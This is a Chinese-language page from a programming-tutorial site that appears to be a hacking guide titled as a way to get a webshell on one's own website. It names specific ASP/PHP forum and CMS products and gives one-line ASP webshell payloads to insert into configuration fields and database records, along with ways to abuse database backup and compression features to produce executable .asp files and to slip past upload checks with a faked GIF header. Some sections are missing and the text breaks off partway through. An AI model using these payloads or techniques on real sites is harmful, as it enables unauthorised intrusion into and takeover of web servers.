當前位置:編程學習大全網 - 源碼下載 - 自己網站怎麽拿WEBSHELL

自己網站怎麽拿WEBSHELL

壹、直接上傳獲得webshell

這種對php和jsp的壹些程序比較常見,MolyX BOARD就是其中壹例,直接在心情圖標管理上傳.php類型,雖然沒有提示,其實已經成功了,上傳的文 件url應該是hacker at 263 dot net":eval request(chr (35))//, 在配制文件中就是webmail="cnhacker at 263 dot net\":eval request(chr(35))//",還有壹種方法就是寫上cnhacker at 263 dot net"%><%eval request(chr(35))%><%',這樣就會形成前後對應,最小馬也就運行了。<%eval request(chr(35))%>可以用lake2的eval發送端以及最新的2006 客戶端來連,需要說明的是數據庫插馬時候要選前者。再如動易2005,到文章中心管理-頂部菜單設置-菜單其它特效,插入壹句話馬"%><%execute request("l")%><%',保存頂部欄目菜單參數設置成功後,我們就得到馬地址http://網站/admin/rootclass_menu_config.asp。

五、利用後臺數據庫備份及恢復獲得webshell

主要是利用後臺對access數據庫的“備份數據庫”或“恢復數據庫”功能,“備份的數據庫路徑”等變量沒有過濾導致可以把任意文件後綴改 為asp,從而得到webshell,msssql版的程序就直接應用了access版的代碼,導致sql版照樣可以利用。還可以備份網站asp文件為其他後綴 如.txt文件,從而可以查看並獲得網頁源代碼,並獲得更多的程序信息增加獲得webshell的機會。在實際運用中經常會碰到沒有上傳功能的時 候,但是有asp系統在運行,利用此方法來查看源代碼來獲得其數據庫的位置,為數據庫插馬來創造機會,動網論壇就有壹個ip地址的數據庫,在後臺的ip管理中可以插入最小馬然後備份成.asp文件即可。在談談突破上傳檢測的方法,很多asp程序在即使改了後綴名後也會提示文件非法,通過在.asp文件頭加上gif89a修改後綴為gif來騙過asp程序檢測達到上傳的目的,還有壹種就是用記事本打開圖片文件,隨便粘貼壹部分復制到asp木馬文件頭,修改gif後綴後上傳也可以突破檢測,然後備份為.asp文件,成功得到webshell。

六、利用數據庫壓縮功能

可以將數據的防下載失效從而使插入數據庫的最小馬成功運行,比較典型的就是loveyuki的L-BLOG,在友情添加的url出寫上<%eval request (chr(35))%>, 提交後,在數據庫操作中壓縮數據庫,可以成功壓縮出.asp文件,用海洋的最小馬的eval客戶端連就得到壹個webshell。

七、asp+mssql系統

這裏需要提壹點動網mssql版,但是可以直接本地提交來備份的。首先在發帖那上傳壹個寫有asp代碼的假圖片,然後記住其上傳路徑。寫壹個本地提交的表單

  • 上一篇:kava是什麽
  • 下一篇:cdr產品安裝不成功 錯誤4,這個和電腦系統時間有關系嗎?但是我改了系統時間還是出現這個啊
  • copyright 2024編程學習大全網